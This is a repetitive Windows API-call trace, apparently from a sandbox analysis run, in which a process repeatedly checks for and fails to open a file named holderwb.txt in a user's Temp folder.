	[0098.992] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.992] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.993] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.993] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.993] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.994] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.994] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.994] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.994] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.994] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.995] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.995] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.995] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.995] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.995] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.995] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.996] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.996] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.996] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.996] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.996] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.076] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.076] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.077] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.077] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.077] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.077] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.077] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.077] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.077] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.078] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.078] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.078] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.078] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.079] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.079] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.079] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.080] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.080] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.080] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.080] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.080] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.080] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.080] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.081] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.081] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.081] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.081] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.081] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.081] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.081] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.082] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.082] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.082] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.082] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.082] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.083] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.083] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.083] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.084] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.084] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.084] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.084] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.084] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.085] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.085] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.085] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.085] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.085] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.085] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.086] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.086] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.086] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.086] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
